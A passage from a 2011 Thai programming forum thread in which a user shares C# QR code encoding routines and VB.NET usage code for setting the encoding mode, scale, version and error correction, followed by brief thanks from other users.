d4[maskNumber] = d4Value[(int) ((20 * d4Counter[maskNumber]) / maxCodewordsBitWithRemain)];

int demerit = d1[maskNumber] + d2[maskNumber] + d3[maskNumber] + d4[maskNumber];

if (demerit < minValue || maskNumber == 0)
{
res = (sbyte) maskNumber;
minValue = demerit;
}
}
return res;
}


/// <summary>
/// Encode the content using the encoding scheme given
/// </summary>
/// <param name="content"></param>
/// <param name="encoding"></param>
/// <returns></returns>
public virtual Bitmap Encode(String content, Encoding encoding)
{
bool[][] matrix = calQrcode(encoding.GetBytes(content));
SolidBrush brush = new SolidBrush(qrCodeBackgroundColor);
Bitmap image = new Bitmap( (matrix.Length * qrCodeScale) + 1, (matrix.Length * qrCodeScale) + 1);
Graphics g = Graphics.FromImage(image);
g.FillRectangle(brush, new Rectangle(0, 0, image.Width, image.Height));
brush.Color = qrCodeForegroundColor ;
for (int i = 0; i < matrix.Length; i++)
{
for (int j = 0; j < matrix.Length; j++)
{
if (matrix[j][i])
{
g.FillRectangle(brush, j * qrCodeScale, i * qrCodeScale, qrCodeScale, qrCodeScale);
}
}
}
return image;
}

/// <summary>
/// Encode the content using the encoding scheme given
/// </summary>
/// <param name="content"></param>
/// <param name="encoding"></param>
/// <returns></returns>
public virtual Bitmap Encode(String content)
{
if (QRCodeUtility.IsUniCode(content))
{
return Encode(content, Encoding.Unicode);
}
else
{
return Encode(content, Encoding.ASCII);
}
}


}
}
จากคุณ : ake [2011-09-09 11:09:49]

203.107.236.71 ความคิดเห็น #28499 (จาก IP: 203.107.236.71)
มันเป็น function สำหรับ gen Qr code ครับ
จากคุณ : ake [2011-09-09 11:12:31]

203.107.236.71 ความคิดเห็น #28500 (จาก IP: 203.107.236.71)
Dim qrCodeEncoder As QRCodeEncoder = New QRCodeEncoder()
Dim encoding As String = "Byte"

If (encoding = "Byte") Then
qrCodeEncoder.QRCodeEncodeMode = qrCodeEncoder.ENCODE_MODE.BYTE
ElseIf (encoding = "AlphaNumeric") Then
qrCodeEncoder.QRCodeEncodeMode = qrCodeEncoder.ENCODE_MODE.ALPHA_NUMERIC
ElseIf (encoding = "Numeric") Then
qrCodeEncoder.QRCodeEncodeMode = qrCodeEncoder.ENCODE_MODE.NUMERIC
End If

Try
Dim scale As Integer = Convert.ToInt16(txtSize.Text)
qrCodeEncoder.QRCodeScale = scale

Catch ex As Exception
'MessageBox.Show("Invalid size!")
End Try

Try
Dim version As Integer = 3
qrCodeEncoder.QRCodeVersion = version
Catch ex As Exception
'MessageBox.Show("Invalid version !")
End Try

Dim errorCorrect As String = "L"
If (errorCorrect = "L") Then
qrCodeEncoder.QRCodeErrorCorrect = qrCodeEncoder.ERROR_CORRECTION.L
ElseIf (errorCorrect = "M") Then
qrCodeEncoder.QRCodeErrorCorrect = qrCodeEncoder.ERROR_CORRECTION.M
ElseIf (errorCorrect = "Q") Then
qrCodeEncoder.QRCodeErrorCorrect = qrCodeEncoder.ERROR_CORRECTION.Q
ElseIf (errorCorrect = "H") Then
qrCodeEncoder.QRCodeErrorCorrect = qrCodeEncoder.ERROR_CORRECTION.H
End If
จากคุณ : ake [2011-09-09 11:15:37]

58.8.181.93 ความคิดเห็น #28501 (จาก IP: 58.8.181.93)
ว่างๆจะลองใช้ดู ขอบคุณมากครับ
จากคุณ : maddog [2011-09-09 11:34:04]

202.12.74.65 ความคิดเห็น #28502 (จาก IP: 202.12.74.65)
ขอบคุณครับ
จากคุณ : thuna [2011-09-09 20:52:14]
ตอบกระทู้
  • ห้ามการโฆษณา หากต้องการติดต่อหาลูกค้า ติดต่อโฆษณาโดยตรงได้ที่ webmaster@sourcecode.in.th
  • ห้ามใช้คำหยาบและคำพูดที่ไม่เหมาะสม
  • ขอสงวนสิทธิหากตรวจพบ ข้อความที่ไม่เหมาะสม ข้อความนั้นจะถูกลบทันที
ชื่อ
อีเมล์
รายละเอียด

- - - - - - - - - - - - - - ผู้ให้การสนับสนุน- - - - - - - - - - - - - -

 
 
7in1 USB-C Hub Dual Type-C Multiport Card Reader Adapter 4K HDMI For MacBook Pro
7in1 USB-C Hub Dual Type-C Multiport Card Reader Adapter 4K HDMI For MacBook Pro
สายต่อจอ สำหรับเครื่อง macbook pro 2016 (usb-c to HDMI)
สายต่อจอ สำหรับเครื่อง macbook pro 2016 (usb-c to HDMI) ความละเอียดระดับ 4K
หัวแปลง Mini DisplayPort to HDMI Adapter หัวแปลง Mini DisplayPort to HDMI Adapter สำหรับเครื่อง macbook air/pro, mac mini
หัวแปลง Mini DisplayPort to HDMI Adapter สำหรับเครื่อง macbook air/pro, mac mini
คลิปสอนเขียนโปรแกรม
เรียนเขียนโปรแกรมดอทเน็ต
เรียนเขียนโปรแกรมแอนดรอยด์
เรียนเขียนโปรแกรมเบล็คเบอร์รี่
เรียนเขียนโปรแกรมซี ซีพลัสพลัส
เรียนเขียนโปรแกรมจาวา
เรียนการใช้งานลินุกส์
เรียนการเขียนโปรแกรมวินโดว์โฟน
เรียนการเขียนโปรแกรมพีเฮชพี มายเอสคิวเอล
9M Blog บอกเล่าเรื่องราว การเขียนโปรแกรมของ นายเอ็ม
บริการ ถ่ายภาพรับปริญญา
อัตราค่าโฆษณา
 
Tutorial
eVB Tutorial
ASP.NET Webmatrix Tutorial
J2ME Tutorial
C++  Tutorial
Java  Tutorial
PHP Tutorial
ASP Tutorial
 
แบบสำรวจ
Freelance รับพัฒนาโปรแกรม

Home - Article - Tutorial - Sourcecode - Dev Handbook - Search - WebBoard - Links - About Us

สงวนลิขสิทธิ์ ห้ามคัดลอก ทำซ้ำ แก้ไข ดัดแปลง ไม่ว่าในรูปแบบใด โดยไม่ได้รับอนุญาตเป็นลายลักษณ์อักษร
เลขทะเบียนพาณิชย์อิเล็กทรอนิกส์จากกระทรวงพาณิชย์: 7100503002000
Copyright 2001 SourceCode.in.th